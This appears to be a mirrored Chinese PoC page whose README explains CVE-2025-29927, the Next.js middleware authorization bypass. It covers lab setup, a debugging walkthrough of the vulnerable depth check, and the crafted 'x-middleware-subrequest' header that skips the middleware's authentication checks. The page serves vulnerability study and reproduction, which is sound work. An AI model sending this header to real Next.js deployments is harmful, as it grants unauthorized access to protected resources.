POC详情: 2d4ea6a780cefbca1fcd7651bca26badfce1e478

来源
关联漏洞
标题: Next.js 安全漏洞 (CVE-2025-29927)
描述:Next.js是Vercel开源的一个 React 框架。 Next.js 14.2.25之前版本和15.2.3之前版本存在安全漏洞,该漏洞源于如果授权检查发生在中间件中,可能绕过授权检查。
描述
Next.js Middleware Auth Bypass
介绍
## Introduction

通过伪造 x-middleware-subrequest 请求头绕过 Next.js 中间件鉴权机制,允许未授权访问受保护路由。

## Environment setup

项目源码摘自P神,Next.js 版本为 15.2.2(For Next.js 15.x, this issue is fixed in 15.2.3)。

### Vulnerability environment

确保已经安装 Node 和 npm。通过以下命令检查版本:

```bash
node -v
npm -v
```

安装依赖并启动项目

```bash
# 1. 进入项目目录
cd vulenv

# 2. 全局安装 Yarn(如果尚未安装)
npm install -g yarn

# 3. 安装项目依赖
yarn install

# 4. 启动开发服务器
npm run dev
```

或者一步到位:

```bash
cd vulenv && npm install -g yarn && yarn install && npm run dev
```

成功如下:

![alt text](resources/1.png)

![alt text](resources/2.png)

### Debugging environment

配置 VScode 调试如下

```
{
    "version": "0.2.0",
    "configurations": [
      {
        "name": "Next.js: debug server-side",
        "type": "node-terminal",
        "request": "launch",
        "command": "npm run dev"
      },
      {
        "name": "Next.js: debug client-side",
        "type": "chrome",
        "request": "launch",
        "url": "http://localhost:3000"
      },
      {
        "name": "Next.js: debug full stack",
        "type": "node-terminal",
        "request": "launch",
        "command": "npm run dev",
        "serverReadyAction": {
          "pattern": "- Local:.+(https?://.+)",
          "uriFormat": "%s",
          "action": "debugWithChrome"
        }
      }
    ]
  }
```

## Analysis

1. 漏洞触发点如下

```js
const run = withTaggedErrors(async function runWithTaggedErrors(params) {
    var _params_request_body;
    const runtime = await getRuntimeContext(params);
    const subreq = params.request.headers[`x-middleware-subrequest`];
    const subrequests = typeof subreq === 'string' ? subreq.split(':') : [];
    const MAX_RECURSION_DEPTH = 5;
    const depth = subrequests.reduce((acc, curr)=>curr === params.name ? acc + 1 : acc, 0);
    if (depth >= MAX_RECURSION_DEPTH) {
        return {
            waitUntil: Promise.resolve(),
            response: new runtime.context.Response(null, {
                headers: {
                    'x-middleware-next': '1'
                }
            })
        };
    }
    ......
```

一个中间件函数,目的是检测递归调用的深度,避免无限循环调用。其机制依赖于请求头 x-middleware-subrequest,将其用冒号 : 拆分成多个子请求名,并统计与当前中间件名 params.name 相同的次数(即递归层数)。当递归层数达到或超过设定阈值(默认 MAX_RECURSION_DEPTH = 5)时,中间件会跳过核心逻辑,如身份校验,继续请求处理流程。

Tips:避免无限循环调用,大致意思如下

```
用户访问 /dashboard
↓
middleware 拦截,请求 /api/auth
↓
/api/auth 再次触发 middleware
↓
middleware 又请求 /api/auth
↓
...
死循环!🌀
```

2. 利用思路如下

中间件名为 middleware,可构造如下请求头:

```makefile
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
```

上述构造会使 depth = 5,直接触发:

```js
if (depth >= MAX_RECURSION_DEPTH)
```

若应用将身份校验的逻辑写在中间件中,导致中间件退出认证逻辑,返回

```
x-middleware-next: 1
```

使请求继续向后端流转,在未认证的情况下获取受保护资源

3. 利用如下

下图位置中断点(路径详情为:`CVE-2025-29927/vulenv/node_modules/next/dist/server/web/sandbox/sandbox.js`)后启动调试。

![alt text](resources/3.png)

发送Payload

![alt text](resources/4.png)

断在下图处,可以看到此时 depth 的值为 5

![alt text](resources/5.png)

继续执行,即可获取到受保护资源

![alt text](resources/6.png)

## Poc

基于 Pocsuite3 编写,详情见 Poc_CVE-2025-29927.py。

![alt text](resources/7.png)

## Reference

[Next.js and the corrupt middleware: the authorizing artifact](https://zhero-web-sec.github.io/research-and-things/nextjs-and-the-corrupt-middleware)

[Next.js Middleware Authorization Bypass (CVE-2025-29927)](https://github.com/vulhub/vulhub/tree/master/next.js/CVE-2025-29927)
文件快照

[4.0K] /data/pocs/2d4ea6a780cefbca1fcd7651bca26badfce1e478 ├── [2.3K] Poc_CVE-2025-29927.py ├── [4.2K] README.md ├── [4.0K] resources │   ├── [142K] 1.png │   ├── [118K] 2.png │   ├── [266K] 3.png │   ├── [269K] 4.png │   ├── [254K] 5.png │   ├── [299K] 6.png │   └── [257K] 7.png └── [4.0K] vulenv ├── [4.0K] app │   ├── [ 309] layout.js │   ├── [4.0K] login │   │   └── [2.4K] page.js │   └── [2.8K] page.js ├── [4.0K] components │   └── [1.1K] topbar.js ├── [1.1K] middleware.js ├── [ 126] next.config.js ├── [ 482] package.json └── [ 19K] yarn.lock 5 directories, 17 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。